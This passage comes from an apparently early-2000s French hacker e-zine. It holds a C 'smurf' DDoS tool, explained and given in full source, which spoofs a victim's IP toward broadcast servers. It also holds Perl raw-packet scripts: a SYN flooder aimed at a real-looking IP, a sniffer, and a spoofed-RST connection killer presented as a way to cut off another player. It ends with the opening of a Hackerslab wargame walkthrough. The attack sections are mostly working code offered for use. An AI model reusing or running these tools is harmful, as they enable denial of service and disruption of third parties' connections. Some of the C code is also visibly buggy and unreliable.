+----------------------------------------------------------------+
|  8 | Requte echo                                              | 
+----------------------------------------------------------------+
|  9 | Router advertissement (envoy comme multicast, donc list)|
+----------------------------------------------------------------+
| 10 | Router solicitation                                       |
+----------------------------------------------------------------+
| 11 | Temps excd                                              | 
+----------------------------------------------------------------+
| 12 | Parameter problem (rponse  une erreur non couverte par  |
|    | une requte icmp quelconque)                              |
+----------------------------------------------------------------+
| 13 | Requte - Timestamp                                       | 
+----------------------------------------------------------------+
| 14 | Rponse - Timestamp                                       |
+----------------------------------------------------------------+
| 15 | Requte - Information                                     | 
+----------------------------------------------------------------+
| 16 | Rponse - Information                                     |
+----------------------------------------------------------------+
| 17 | Requte - Adress mask                                     | 
+----------------------------------------------------------------+
| 18 | Rponse - Adress mask                                     |        
+----------------------------------------------------------------+
| 19 | Rserv                                                   |
+----------------------------------------------------------------+
| 20 |                                                           |
| -  |                                                           |
| -  | Rserv                                                   |
| -  |                                                           |  
| 29 |                                                           | 
+----------------------------------------------------------------+
| 30 | Traceroute                                                |
+----------------------------------------------------------------+
| 31 | Conversion error                                          |
+----------------------------------------------------------------+
| 32 | Redirection dynamique                                     | 
+----------------------------------------------------------------+
| 33 | Requte "?" - IPv6 (dtermine la version de l'IP)         |
+----------------------------------------------------------------+
| 34 | Rponse "!" - IPv6                                        | 
+----------------------------------------------------------------+
| 35 | Requte - Mobile Registration                             |
+----------------------------------------------------------------+ 
| 36 | Rponse - Mobile Registration                             |
+----------------------------------------------------------------+
| 37 | Requte - Nom de domaine                                  |
+----------------------------------------------------------------+
| 38 | Rponse - Nom de domaine                                  |
+----------------------------------------------------------------+
| 39 | SKIP Algorithm Discovery Protocol.                        |
+----------------------------------------------------------------+
| 40 | Photuris (failles de scurit)                            |  
+----------------------------------------------------------------+
| 41 |                                                           |  
| -  | Rserv                                                   |
| -  |                                                           |   
|255 |                                                           |
+----+-----------------------------------------------------------+



*Code : Il sera initialis  0 pour notre type de requte icmp.

*ICMP Header Checksum : Somme de contrle. Header ICMP + donnes. 
                       Le champ checksum doit tre initialis  0 
                       avant toute modification.

*Identificateur : Permet d'identifier  qui le paquet est destin, 
                  de coller une rponse sur une requte icmp.


Numro de squence: Permet de diffrencier les paquets.






  II. Protocole IP :
  __________________

Fondamental et indispensable, ce protocole est  la base de la
communication sur Internet et  travers tout type de rseau. Il
traite les datagrammes IP indpendamment les uns des autres en 
dfinissant leur reprsentation, leur routage et leur expdition.



[Datagramme IP]


      0 ____________________15-16___________________________31
      | 4   | IHL   |  To S  |        Total Lenght          |       
      |_____|_______|________|______________________________|
      |    Identification  | Flags |    Fragment offset     |
      |____________________|_______|________________________|
      |   TTL   |  Protocol  |       Header checksum        |
      |_________|____________|______________________________|
      |                    Source IP address                |
      |_____________________________________________________|
      |                 Destination IP address              |
      |_____________________________________________________|
      >                  Options (facultatif)               <     
      |_____________________________________________________|
      |                                                     |
      <                        Data                         <
      >                                                     >    
      |_____________________________________________________|



*Version : Toujours initialise  4, tant la version 
           actuelle du protocole IP.

*IP Header Length : Nombre de mots 32 bits formant le datagramme, 
                    d'habitude initialis  5.

*Type of Service : Actuellement appel Differentiated Services Code 
                   Point (DSCP). Normalement initialis  0, peut 
                   indiquer les besoin de qualit d'un service du rseau.
 

*ToS :  Voici les 4 options des ToS:

			[NOM]                        [VALEUR]
   
		1- Minimiser le dlai	             0x10
		2- Maximize throughput	             0x08
		3- Minimiser pertes                  0x04
		4- Minimiser la valeur pcuniaire    0x02



*Size of Datagram : En bytes, regroupant la taille de l'header 
                    et des donnes.

*Identification : Nombre 16 bits qui avec l'adresse source 
                  servent  identifer le paquet.


*Flags: 4 flags fondamentaux:
 
			[NOM]	                       [VALEUR]
 
		 1- Pas de flag			       0x00
		 2- Fragmenter plus 		       0x01
		 3- Ne pas fragmenter		       0x02
		 4- More and Dont't frag             0x03



*Fragmentation Offset : Calcul en bits du premier paquet envoy. 

*Time To Live : Nombre de sauts que le paquet peut excuter avant 
                d'tre dtruit. Dcrment par la plupart des routeurs 
                - Utilis pour  empcher des encombrements rseaux.


*Protocol : Service Access Point (SAP) indiquant le type de transport 
            du paquet envoy. Par exemple: 

		       [NOM]		           [VALEUR]
  
		 1- IPPROTO_TCP		             0x06
		 2- IPPROTO_UDP		             0x11
                 3- IPPROTO_ICMP	             0x01


  
*Header Checksum: Somme de contrle. 

*Source Address: Adresse IP de l'hte source.

*Destination Address: Adresse IP du destinaire.

*Options: Normalement non utilis, except quand la 
          taille de l'header ip sera suprieur  5 mots 
          32 bits pour indiquer la taille du champ  option. 





  III. Programmation du smurfer :
  _______________________________


Il s'agira donc d'envoyer des multiples ICMP_ECHO  un nombre consquent
de serveurs de diffusion (broadcasts) en spoofant l'IP d'une victime 
quelconque ; ceux-ci pointeront alors sur la cible lord du renvoie des 
replies. Le smufer que je vous ai concoct est relativement simple 
d'utilisation ; il vous invitera  entrer le nombre de broadcast, la 
quantit d'echos  envoyer, l'ip cible  spoofer. A chaque boucle l'ip 
du broadcast est demande, une fonction listening s'est vu ajoute. 
Celle-ci permet de recevoir un ECHO_REPLY  la suite d'un ping ralis 
dans l'optique de vrifier la prsence d'un hte sur le rseau. 

Voici la structure d'un header IP et ICMP :


[ Structure de l'header ICMP ]



struct icmphdr { 
__u8 type;  // 0 ECHO_REPLY; 8 ECHO_REQUEST
__u8 code;  // 0, inutilis
__u16 checksum; // 0 avec calcul
union {
 struct {
 __u16 id; // 0, utilis pour dterminer l'appartenance d'une requte
 __u16 sequence; // 0, voir id
 }
 echo;
 __u32 gateway; 
struct {
 __u16 __unused
; __u16 mtu;
 } frag;
 }un; 
}; 


[ Structure de l'header IP ]

struct iphdr {

#if __BYTE_ORDER == __LITTLE_ENDIAN
unsigned int ihl:4;
unsigned int version:4;
#elif __BYTE_ORDER == __BIG_ENDIAN
unsigned int version:4;
unsigned int ihl:4;
#else
# error	"Please fix <bits/endian.h>"
#endif
u_int8_t tos;
u_int16_t tot_len;
u_int16_t id;
u_int16_t frag_off;
u_int8_t ttl;
u_int8_t protocol;
u_int16_t check;
u_int32_t saddr;
u_int32_t daddr;
/* OPTIONS (facultatives) */
};

 


  IV. Implmentation :
  ____________________ 
 
          => connexion
          => variables et structures
          => Fonctions

 


      1) Connexion :
      ______________


 
C'est bien jolie de voir toutes ces thories et explications sur les 
diffrents protocoles de communication, mais il va peut tre falloir 
penser  coder le smurfer. Here we are ! Donc qui ne sait pas manipuler 
les sockets en C ? Petit rappel rapide ... 



Un socket est une API permettant la communcation entre deux processus 
et se dclare ainsi: 


ssocket=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP); 


Elle prend donc 3 arguments :

   o Domain: Le domain de la socket, respectivement:
               - AF_INET: Internet
               - AF_UNIX: Communication inter-processus.

   o Type: Manire avec laquelle la socket va interprter ses donnes, 
            chaque mode une valeur:
               - Mode connect: SOCK_STREAM
               - Mode non connect: SOCK_DGRAM
               - Direct Protocole: SOCK_RAW (Pour forger nos paquets manuellement)

   o Protocol: Dfinit le protocole de la socket.
               - 0: Le systme choisira le protocole  votre place,
                    ne fonctionne pas en raw socket.
               - IPPROTO_UDP: Protocole UDP.
               - IPPROTO_TCP: Protocole TCP.
               - IPPROTO_ICMP: Protocole ICMP.
               ...


addrsocket.sin_port=htons(random()); 

 On fait donc appel  une structure pour initialiser le port:

 struct sockaddr_in {
     short             sin_family;
     u_short           sin_port;
     struct in_addr    sin_addr;
     char              sin_zero[8];
};

 sin_family: Famille d'adressage de la socket (AF_INET, AF_UNIX...)
 sin_port: Le port au format rseau.
 sin_addr: L'adresse IP auquel la socket va se connecter.

La socket va donc se connecter  une socket distante, il lui faut donc 
dfinir un port au pralable ; ici le port est alatoire. Ensuite, elle 
poursuit la connection comme suit:


source=gethostbyname(fa) // On vrifie que l'host est reachable.
bzero(&addrsocket, sizeof(addrsocket)); // Mmoire remplie de chtits 0 !


addrsocket.sin_addr=*(struct in_addr*)source->h_addr; // On pointe sur h_addr, 
                                                      //lment de la structure 
                                                      //hostent, reprsentant 
                                                      //l'adresse source. 


[ structure hostent ]

struct hostent {
    char *h_name;
    char **h_aliases;
    int h_addrtype;
    int h_lenght;
    char **h_addr_list;
};

 h_name: HOST_NAME. String reprsentant le nom de la machine.
 h_aliases: Tableau de chars reprsentant les alias de la machine.
 h_addrtype: Type d'adresse de l'hte distant (IPv4 ou IPv6).
 h_lenght: Longueur de l'adresse.
 h_addr_list: Encore un tableau contenant les adresses de l'hte.



Puis on se connecte en prenant pour argument nos acquis dclars prcedemment :

connect(ssocket,(struct sockaddr*)&addrsocket, sizeof addrsocket) 

 
    o ssocket: Le nom de notre socket.
    o (struct sockaddr*)&addrsocket: Pointeur vers la structure sockaddr, 
                                     l'adresse de notre socket.

    o sizeof(addrsocket): Taille de la structure sockaddr.



Donc, normalement vous savez connecter une socket avec succs.
On va pouvoir passer  la programmation de nos diffrentes fonctions.




    2) Dclaration des variables :
    ______________________________


char *sprotocol; // Pointeur protocole
char *sa; //
char *da; //

int nbrPaquets, listening=0, optval, nb=0;
struct hostent *source;    // Pointeur sur l'adresse source (victime)
struct hostent *cible;     // Pointeur sur l'adresse broadcast
struct sockaddr_in false;  // Dclaration de la structure false (adresse socket victime)
struct sockaddr_in dest;   // Dclaration de la structure dest (adresse socket broadcast)
struct icmphdr *icmp;      // Pointeur sur la  structure icmphdr
struct iphdr *ip;          // Pointeur sur la  structure iphdr
char  *packet, *buffer;




    3) Fonctions :
    ______________



[ dhosts ]

Cette fonction prend en arguments deux pointeurs ramenant aux noms des htes :
     o *fa: Pour l'hte source (adresse spoof pointant sur la victime).
     o *fb: Pour l'adresse du broadcast.


int dhosts(char *fa, char *fd)
{
  if ((source=gethostbyname(fa))==NULL){  // On vrifie la prsence de la victime
    perror("Hote source invalide");
    exit(1);

  } else {
       // Sinon on pointe sur l'adresse source
       bzero(&false, sizeof(false));
       false.sin_addr=*(struct in_addr*)source->h_addr;
 
  }

  if ((cible=gethostbyname(fd))==NULL){   // On vrifie la prsence du broadcast
    perror("Broadcast invalide");
    exit(1);

  } else {

    bzero(&dest, sizeof(dest));
    dest.sin_family=AF_INET;
    dest.sin_port=htons(random());
       dest.sin_addr=*(struct in_addr*)cible->h_addr;
 // Sinon, l encore, on pointe sur l'adresse source
  }
  return 0;
 }




[ bicmp ]

On entre dans le vif du sujet. Cette fonction prend en arguments tous 
les champs de l'header icmp, puisqu'elle va s'en servir pour le crer.

char *bicmp(int sihl, int sversion, int stos, int sttl, int scode, int sechoi, int ssek, int schk)
{

        // Allocation dynamique de mmoire
        ip = (struct iphdr *) malloc(sizeof(struct iphdr));
        icmp     = (struct icmphdr *) malloc(sizeof(struct icmphdr));
        packet  = (char *) malloc(sizeof(struct iphdr) + sizeof(struct icmphdr));
        buffer  = (char *) malloc(sizeof(struct iphdr) + sizeof(struct icmphdr));

	ip = (struct iphdr *) packet;
        icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));

        ip->ihl     = sihl; // Longeur de l'header IP
        ip->version = sversion; // Version de l'IP
        ip->tos     = stos; // Type de service
        ip->tot_len = sizeof(struct iphdr) + sizeof(struct icmphdr); // Longueur total du paquet
	ip->id      = htons(getuid()); // Identification du paquet
	ip->ttl      = sttl; // Time To Live, nombre d'hops restant au paquet
	ip->protocol = IPPROTO_ICMP; // Protocole utilis, ici, ICMP
	ip->saddr    = false.sin_addr.s_addr; // Adresse source (victime)
	ip->daddr    = dest.sin_addr.s_addr; // Adresse broadcast

	icmp->type = ICMP_ECHO; // Champ type de l'header icmp, ici ECHO, donc type 0
	icmp->code = scode;
	icmp->un.echo.id = sechoi;
	icmp->un.echo.sequence = ssek; // numro de squence
	icmp->checksum = schk; // Sommes de contle
	icmp->checksum = in_cksum((unsigned short *)icmp,sizeof(struct icmphdr)); 

        ip->check    = in_cksum((unsigned short *)ip, sizeof(struct iphdr));
	return (packet);
}



[ ismurf ]

L'header forg, il faut dornavant crer une boucle d'envoie de requtes vers 
le(s) broadcasts.. Pourquoi sommes-nous si mchants ? Niark niark niark.. 

int ismurf(char *ia, char *id, int paquets, int slisten, int broads)
{
 // Dclaratin des variables
  int        j, z, i, dihl, dversion, dtos, dttl, dcode, dechoi, dsek;
  int        dchk, sock, optval, pfailed=0, psucceed=0;
  char       *buf;
  char       *spaquet;

 // Rcupration des diffrentes valeurs ultrieurement places dans 
 // les champs de notre header. L'utilisateur remplit donc manuellement 
 // chaque champ, ce qui empche certains kiddies purils et sans sens 
 // moral d'utiliser ce programme.

	printf("IP ILH(5): ");
	scanf(" %d", &dihl);
	printf("IP VERSION(4): ");
	scanf(" %d", &dversion);
        printf("IP TOS(0): ");   
	scanf(" %d", &dtos);
        printf("IP TTL(255): ");
	scanf(" %d", &dttl);
        printf("ICMP CODE(1): ");
	scanf(" %d", &dcode);
        printf("ICMP ECHO.ID(0): ");
	scanf(" %d", &dechoi);
        printf("ICMP ECHO.SEQUENCE(0): ");
	scanf(" %d", &dsek);
        printf("ICMP CHECKSUM(0): ");
	scanf(" %d", &dchk);

 // L'utilisateur est invit  rentrer l'adresse du broadcast aprs 
 // chaque boucle, l'idal serait de lire les adresses dans un fichier, 
 // ce qui serait plus rapide.
	for(j=0;j<broads;j++)
	  {
	    printf("Serveur broadcast n%d:", j+1);
 // Rcupration de l'adresse du broadcast
	    scanf("%s", buf);
 // Boucle d'envoie des paquets
           for(i=0;i<paquets;i++)
	     {
 // Vrification de la prsence des htes
	      dhosts(ia, buf);
 // Initialisation des sockets
	      bicmp(dihl, dversion, dtos, dttl, dcode, dechoi, dsek, dchk);
              sock = socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
	      setsockopt(sock,IPPROTO_IP,IP_HDRINCL,&optval,sizeof(int));
 // Envoie du paquet spoof
              if((sendto(sock,spaquet,ip->tot_len,0,(struct sockaddr *)&dest,sizeof(struct sockaddr)))<0)
	         {
	           printf("Erreur lors de l'envoie des paquets!\n");
	           pfailed++;
	      } else {
	           printf("Donnes envoyes!\n");
	           psucceed++;
	          }
	    }
	  close(sock);
	    }
	  
 // Statistiques, just for fun ;-)
	printf("\nStatistiques:\n");
	printf("Adresse source:                           %s.\n", ia);
	printf("Nombre de broadcasts:                     %d.\n", broads);
	printf("Nombres de paquets  envoys par broad.:  %d.\n", paquets);
	printf("Nombres de paquets envoys total:         %d.\n", paquets*broads);
	printf("Nombres de paquets correctement  envoys: %d.\n", psucceed);
	printf("Nombres de paquets perdus:                %d.\n", pfailed);
          if(slisten!=1)
	    {
	      return 0;
	    }
	
 // Fonction listening
	if (slisten==1)
	  {
	  if(recv(sock,buffer,sizeof(struct iphdr)+sizeof(struct icmphdr),0)>=0)
	     {	
              printf("Received the ECHO REPLY!\n");
	      return 0;
	      } else {
	      printf("Erreur, aucune rception.\n");
	      return 0;
	   }
	  }
	close(sock);
	return 0;
}




[ main ]

Et enfin la fonction principale qui nous permet de rcuprer les arguments 
entrs par l'utilisateur.

int main(int argc, char *argv[])
{
  if (argc < 2)
    {
      printf("\n\n++++++++++++++++++Ssmurf BY Li0n7+++++++++++++++++++++\n\n");
      printf("            [Prsentation des arguments]               \n\n");
      printf("usage: ./smurf -s<SPOOFED_IP> -n<NBR PAQUETS> -l\n\n");
      printf("-s<SPOOFED_IP>: l'adresse falsifie.\n");
      printf("-n<NBR_PAQUETS>: le nombre de paquets  envoyer.\n");
      printf("-b<NBR_SERVEURS>: le nombre de serveurs broadcasts.\n");
      printf("-l: listening, attend un rponse pour paquets icmp envoys.\n");
      printf("www.rndghost.com - contactez moi: killer.kil@voila.fr\n\n");
      exit(-1);
    } else {
      while( (argc > 1) && (argv[1][0]=='-'))
	{
	  switch(argv[1][1])
	    {
	    case 's':
         // adresse victime
	      sa=&argv[1][2];
	      break;
	    case 'n':
         // Nombre de paquets a envoy
	      nbrPaquets=atoi(&argv[1][2]);
	      break;
	    case 'l':
         // L'utilisateur peut ne vouloir que vrifier la prsence d'une machine 
         // sur un rseau en envoyant un ping, alors le smurfer passera en listening
	      listening=1;
	      break;
	    case 'b':
         // Nombre de serveurs broadcasts utiliss
	      nb=atoi(&argv[1][2]);
	      if(nb==0)
		{
		  printf("Le nombre de serveurs ne peut tre nul.\n");
		  exit(-1);
		}
	      break;
	    }
	  --argc;
	  ++argv;
	}
    }
 // Appel de la fonction ismurf
  ismurf(sa, da, nbrPaquets, listening, nb);
     return 0;
}    






  V. Code source :
  ________________ 




------------8<-----------------------------------------------------------------------


/******************************************/ 
/*            Ssmurf By Li0n7             */     
/*    contactez-moi: killer.kil@voila.fr  */
/*         http://www.rndghost.com        */ 
/*       ICMP SMURFER - ICMP SPOOFER      */ 
/* Copyright Li0n7 - Tous droits rservs */ 
/******************************************/ 

#include <stdio.h>
#include <linux/ip.h>
#include <linux/icmp.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdlib.h>

char *sprotocol;
char *sa;
char *da;
int nbrPaquets, listening=0, optval, nb=0;
struct hostent *source;
struct hostent *cible;
struct sockaddr_in false;
struct sockaddr_in dest;
struct icmphdr *icmp;
struct iphdr *ip;
char  *packet, *buffer;



unsigned short in_cksum(unsigned short *addr, int len)
	{
	    register int sum = 0;
	    u_short answer = 0;
	    register u_short *w = addr;
	    register int nleft = len;

	    while (nleft > 1)
	      {
		  sum += *w++;
		  nleft -= 2;
	      }

	    
	    if (nleft == 1)
	      {
		  *(u_char *) (&answer) = *(u_char *) w;
		  sum += answer;
	      }
	   
	    sum = (sum >> 16) + (sum & 0xffff);		
	    sum += (sum >> 16);		
	    answer = ~sum;		
	    return (answer);
	}


int dhosts(char *fa, char *fd)
{
  if ((source=gethostbyname(fa))==NULL)
  {
    perror("Hote source invalide");
  } else {
    bzero(&false, sizeof(false));
       false.sin_addr=*(struct in_addr*)source->h_addr;
  }

  if ((cible=gethostbyname(fd))==NULL)
  {
    perror("Broadcast invalide");
  } else {
    bzero(&dest, sizeof(dest));
    dest.sin_family=AF_INET;
    dest.sin_port=htons(random());
       dest.sin_addr=*(struct in_addr*)cible->h_addr;
  }
  return 0;
 }

char *bicmp(int sihl, int sversion, int stos, int sttl, int scode, int sechoi, int ssek, int schk)
{

        ip = (struct iphdr *) malloc(sizeof(struct iphdr));
        icmp     = (struct icmphdr *) malloc(sizeof(struct icmphdr));
        packet  = (char *) malloc(sizeof(struct iphdr) + sizeof(struct icmphdr));
        buffer  = (char *) malloc(sizeof(struct iphdr) + sizeof(struct icmphdr));

	ip = (struct iphdr *) packet;
        icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));

        ip->ihl     = sihl;
        ip->version = sversion;
        ip->tos     = stos;
        ip->tot_len = sizeof(struct iphdr) + sizeof(struct icmphdr);
	ip->id      = htons(getuid());
	ip->ttl      = sttl;
	ip->protocol = IPPROTO_ICMP;
	ip->saddr    = false.sin_addr.s_addr;
	ip->daddr    = dest.sin_addr.s_addr;

	icmp->type = ICMP_ECHO;
	icmp->code = scode;
	icmp->un.echo.id = sechoi;
	icmp->un.echo.sequence = ssek;
	icmp->checksum = schk;
	icmp->checksum = in_cksum((unsigned short *)icmp,sizeof(struct icmphdr));

        ip->check    = in_cksum((unsigned short *)ip, sizeof(struct iphdr));
	return (packet);
}

int ismurf(char *ia, char *id, int paquets, int slisten, int broads)
{
  int        j, z, i, dihl, dversion, dtos, dttl, dcode, dechoi, dsek, 
             dchk, sock, optval, pfailed=0, psucceed=0;
  char       *buf;
  char       *spaquet;

	printf("IP ILH(5): ");
	scanf(" %d", &dihl);
	printf("IP VERSION(4): ");
	scanf(" %d", &dversion);
        printf("IP TOS(0): ");   
	scanf(" %d", &dtos);
        printf("IP TTL(255): ");
	scanf(" %d", &dttl);
        printf("ICMP CODE(1): ");
	scanf(" %d", &dcode);
        printf("ICMP ECHO.ID(0): ");
	scanf(" %d", &dechoi);
        printf("ICMP ECHO.SEQUENCE(0): ");
	scanf(" %d", &dsek);
        printf("ICMP CHECKSUM(0): ");
	scanf(" %d", &dchk);

	for(j=0;j<broads;j++)
	  {
	    printf("Serveur broadcast n%d:", j+1);
	    scanf("%s", buf);
           for(i=0;i<paquets;i++)
	     {
	      dhosts(ia, buf);
	      bicmp(dihl, dversion, dtos, dttl, dcode, dechoi, dsek, dchk);
              sock = socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
	      setsockopt(sock,IPPROTO_IP,IP_HDRINCL,&optval,sizeof(int));
              if((sendto(sock,spaquet,ip->tot_len,0,(struct sockaddr *)&dest,sizeof(struct sockaddr)))<0)
	         {
	           printf("Erreur lors de l'envoie des paquets!\n");
	           pfailed++;
	      } else {
	           printf("Donnes envoyes!\n");
	           psucceed++;
	          }
	    }
	  close(sock);
	    }
	  
	printf("\nStatistiques:\n");
	printf("Adresse source:                           %s.\n", ia);
	printf("Nombre de broadcasts:                     %d.\n", broads);
	printf("Nombres de paquets  envoys par broad.:  %d.\n", paquets);
	printf("Nombres de paquets envoys total:         %d.\n", paquets*broads);
	printf("Nombres de paquets correctement  envoys: %d.\n", psucceed);
	printf("Nombres de paquets perdus:                %d.\n", pfailed);
          if(slisten!=1)
	    {
	      return 0;
	    }
	
	if (slisten==1)
	  {
	  if(recv(sock,buffer,sizeof(struct iphdr)+sizeof(struct icmphdr),0)>=0)
	     {	
              printf("Received the ECHO REPLY!\n");
	      return 0;
	      } else {
	      printf("Erreur, aucune rception.\n");
	      return 0;
	   }
	  }
	close(sock);
	return 0;
}

int main(int argc, char *argv[])
{
  if (argc < 2)
    {
      printf("\n\n++++++++++++++++++Ssmurf BY Li0n7+++++++++++++++++++++\n\n");
      printf("            [Prsentation des arguments]               \n\n");
      printf("usage: ./smurf -s<SPOOFED_IP> -n<NBR PAQUETS> -l\n\n");
      printf("-s<SPOOFED_IP>: l'adresse falsifie.\n");
      printf("-n<NBR_PAQUETS>: le nombre de paquets  envoyer.\n");
      printf("-b<NBR_SERVEURS>: le nombre de serveurs broadcasts.\n");
      printf("-l: listening, attend un rponse pour paquets icmp envoys.\n");
      printf("www.rndghost.com - contactez moi: killer.kil@voila.fr\n\n");
      exit(-1);
    } else {
      while( (argc > 1) && (argv[1][0]=='-'))
	{
	  switch(argv[1][1])
	    {
	    case 's':
	      sa=&argv[1][2];
	      break;
	    case 'n':
	      nbrPaquets=atoi(&argv[1][2]);
	      break;
	    case 'l':
	      listening=1;
	      break;
	    case 'b':
	      nb=atoi(&argv[1][2]);
	      if(nb==0)
		{
		  printf("Le nombre de serveurs ne peut tre nul.\n");
		  exit(-1);
		}
	      break;
	    }
	  --argc;
	  ++argv;
	}
    }

  ismurf(sa, da, nbrPaquets, listening, nb);
     return 0;
}    

------------8<-----------------------------------------------------------------------






Pour compiler: 

$ gcc -o smurf smurf.c 

usage: ./smurf -s[SPOOFED_IP] -n[NBR PAQUETS] -l 

-s[SPOOFED_IP]: l'adresse falsifie. 
-n[NBR_PAQUETS]: le nombre de paquets  envoyer. 
-b[NBR_SERVEURS]: le nombre de serveurs broadcasts. 
-l: listening, attend un rponse pour paquets icmp. 




[ Conclusion ]

Programme publi  but purement indicatif et explicatif. 
Besoin d'aide? Commentaires? Insultes? - killer.kil@voila.fr 

 -EOF










---------------------------------------------------------------------------------------
VII.                    Network Perl Coding                                 Jackniels
---------------------------------------------------------------------------------------



[ Introduction ]

Ce texte a pour vocation de prsenter les diverses possiblits qu'offre le 
module perl Net::RawIP en matiere de programmation reseau. Ce module 
est telechargeable ici : http://www.ic.al.lg.ua/~ksv/Net-RawIP-0.09d.tar.gz

Pour faire simple, on va dire qu'il permet d'interagir sur les paquets a 
bas niveau. Plutot que de me lancer dans un cours theorique, je vais tenter 
de vous en expliquer le fonctionnement a travers trois exemples : un syn-flooder, 
un sniffer, et enfin un "tueur" de connection.




  I. Un syn-flooder :
  ___________________


Je ne vais pas vous faire l'affront de vous expliquer ce qu'est un syn-floodeur. 
L'utilite d'un tel programme est bien sur tres proche de zero...

$ cat > synflooder
#!/usr/bin/perl
use Net::RawIP qw(:pcap);

$ipdest=$ARGV[0];
$portdest=$ARGV[1];
$ipsrc="1.2.3.4";

$a = new Net::RawIP;
$a->set({
        ip =>{
        saddr=>$ipsrc, daddr=>$ipdest
        },
        tcp => {
        dest => $portdest, syn => '1', rst => '0', ack => '0', psh => '0', fin => '0'
        }
});
while(1){
        $a->send();
}

$ chmod 777 synflooder
$ ./synflooder 128.242.103.21 80

-> la, ca envoit la puree... aucun interet :-)
Je me vois mal commenter ce code source, c'est clair comme de l'eau de roche, non ?






  II. Un sniffer :
  ________________


C'est nettement plus interessant.  Cet exemple montre tres simplement comment on 
peut acceder a tous les champs du protocole ip et tcp d'un paquet sniff.

$ cat > sniffer
#!/usr/bin/perl
use Net::RawIP qw(:pcap);
use Socket;

$dev="eth0";
$ip_addr=${ifaddrlist()}{$dev};
$rule=$ARGV[0];
$a = new Net::RawIP;
$pcap=$a->pcapinit($dev,$rule,1500,30);
$offset=linkoffset($pcap);
loop $pcap,-1,\&sniff,\@a;

sub sniff {
        $a->bset(substr($_[2],$offset));
	my ($vers,$ihl,$tos,$tot,$id,$frg,$ttl,$pro,$chc,$saddr,
        $daddr,$sport,$dport,$seq,$aseq,$dof,$res1,$res2,$urg,
        $ack,$psh,$rst,$syn,$fin,$win,$chk,$data) =
        $a->get({
                ip=>['version','ihl','tos','tot_len','id','frag_off',
                'ttl','protocol','check','saddr','daddr'],
                tcp=>[ 'source','dest','seq','ack_seq','doff','res1',
                'res2','urg','ack','psh','rst','syn','fin',
                'window','check','data']
        });
        if ($pro=~/\S/) {
                $saddr=inet_ntoa(pack("N",$saddr));
                $daddr=inet_ntoa(pack("N",$daddr));
                print $saddr."<".$sport."> ---> ".$daddr."<".$dport.">\n";
        }
}

$ chmod 777 sniffer
$ ./sniffer "tcp and src 128.242.103"

Deux trois commentaires : 

   o $dev contient le nom de l'interface reseau, 
   o $ip_addr recupere l'ip associee a $dev, 
   o $rule est une regle de filtrage avec une synthaxe " la tcpdump". 

On recupere dans les variables $id, $ttl, $pro ...  pas mal d'infos sur le paquet,  
libre a nous de  les utiliser. Dans cet exemple, je ne fais qu'afficher des infos 
sur les ip  et les numeros de port.





  III. Un "tueur" de connection :
  _______________________________


On a vu dans le premier exemple, la methode set, puis dans le second, la methode get. 
Ce present exemple va tre en quelque sorte une mise en application de ces deux methodes. 
Le principe est simple : l'attaquant sniffe les paquets transitant sur le rseau local
(au besoin un petit coup d'arpspoofing). Ds qu'il dtcte un paquet avec l'ip source 
de la cible, il repond un "reset" avec l'ip spoofe de la destination du paquet.

$ cat > kill
#!/usr/bin/perl
use Net::RawIP;
use Socket;
$a=new Net::RawIP;
$b=new Net::RawIP;
$dev="eth0";
$rule="tcp and src host ".$net;
$pcap=$a->pcapinit($dev,$rule,1500,30);
loop $pcap,-1,\&rstconnect,\@a;

sub rstconnect {
        $a->bset(substr($_[2],14));
        my ($vers,$ihl,$tos,$tot,$id,$frg,$ttl,$pro,$chc,$saddr,
        $daddr,$sport,$dport,$seq,$aseq,$dof,$res1,$res2,$urg,
        $ack,$psh,$rst,$syn,$fin,$win,$chk,$data) =
        $a->get({
                ip=>['version','ihl','tos','tot_len','id','frag_off',
                'ttl','protocol','check','saddr','daddr'],
                tcp=>[ 'source','dest','seq','ack_seq','doff','res1',
                'res2','urg','ack','psh','rst','syn','fin',
                'window','check','data']
        });
        if ($pro=~/\S/) {
                $b->set({
                        ip =>{
                        saddr=>$daddr, daddr=>$saddr
			},
                        tcp => {
                        dest => $sport, source => $dport,
                        rst => '1', ack => '0', psh => '1', fin => '0',
                        seq => $aseq, ack_seq => 0, window => 0,
                        }
                });
        $b->send();
        }
        $saddr=inet_ntoa(pack("N",$saddr));
        $daddr=inet_ntoa(pack("N",$daddr));
        print $saddr."<".$sport.">"."->".$daddr."<".$dport.">"." KILLED\n";
}

$ chmod 777 kill
$ ./kill iptarget

(iptarget, c'est l'ip du mec qui fait chier son monde a gagner tout le temps a CS :)))

Bon, que se passe-t'il ici ?
On definit comme regle de filtrage : $rule="tcp and src host ".$net;
C'est a dire qu'on ne regarde que les paquets avec comme ip source l'ip cible.
Ensuite, on envoit un paquet avec le flag rst a 1 avec le bon numero de sequence 
(seq => $aseq), le tout avec l'ip spoofe de la destination originelle du paquet. 
C'est radical, la connection est coupe nette.





[ Conclusion ]

Comme vous avez pu le constater, il est tres simple de faire des protos en perl avec 
ce module. Pour information, Net::RawIP n'est pas le seul module a faire ce genre de 
chose ... Il existe notamment NetPacket, Net-Pcap, Net-PcapUtils... Ces modules sont 
plus recents et pour certains la synthaxe est plus claire. 
Quoiqu'il en soit, essayez-les et vous verrez bien vers lesquels vont vos preferences.



    								














---------------------------------------------------------------------------------------
VIII.         Challenge  Hackerslab, Prsentation & solution (Part. 1)             MeiK
---------------------------------------------------------------------------------------
  

[ Introduction ]

Cet article n'est que le dbut d'un document qui va paratre trs bientt sur mon tout 
nouveau site (qui ouvrira dans le courant de la semaine du 21 Juillet 2002). Ici je ne 
vais mettre que les solutions des deux premiers niveaux. Pour les autres niveaux, 
attendez une petite semaine et visitez mon site.


[ Pour commener ] 

Vous devrez tout d'abord crer un compte sur le site www.hackerslab.org, ceci est 
utilis pour vous indiquer o vous en tes et vous afficher sur  le classement si 
vous finissez. Pour a vous allez dans "Free hacking Zone" puis il doit certainement 
y avoir un truc dans le genre "register" ou "sign up".
 
Une fois que votre compte est cr, vous allez dans "View problems", et vous aurez 
votre nigme qui sera prsente, avec une petite astuce pour la rsoudre. Le login 
et le mot de passe correspondants au niveau o vous tes sont affichs. 
Pour aller au tout premier niveau du challenge (Level0) je vous conseille de passer 
par l'applet Java (avec marqu "Let's go drill" dedans). Si votre navigateur ne 
supporte pas le java, l'adresse du serveur est drill.hackerslab.org, utilsez telnet. 



